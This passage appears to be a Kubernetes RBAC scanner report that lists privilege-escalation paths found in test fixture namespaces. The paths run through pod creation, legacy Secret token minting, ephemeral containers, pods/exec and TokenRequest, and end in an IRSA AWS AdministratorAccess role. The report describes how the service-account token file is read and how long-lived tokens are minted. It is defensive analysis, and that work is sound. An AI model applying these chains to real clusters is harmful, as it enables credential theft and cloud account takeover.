    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/vulnerable/privileged-reader minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches minted service-account tokens in 2 hops via Pod creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
→ aws iam role

7 paths to aws iam role

6 high 1 med
HIGH ServiceAccount/cloud-eks-test/eks-admin-irsa aws iam role score 8.0 1 hop View finding →

ServiceAccount `eks-admin-irsa` in namespace `cloud-eks-test` reaches aws iam role in 1 hop via Assume AWS IAM Role via IRSA.

  1. Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral aws iam role score 7.5 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches aws iam role in 2 hops via Ephemeral container injection → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec aws iam role score 7.5 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches aws iam role in 2 hops via Pod exec → container takeover → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-pod-create aws iam role score 7.5 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-token-create aws iam role score 7.5 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via TokenRequest minting → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/vulnerable/privileged-reader aws iam role score 7.5 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches aws iam role in 2 hops via Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-create-escape aws iam role score 7.0 3 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches aws iam role in 3 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA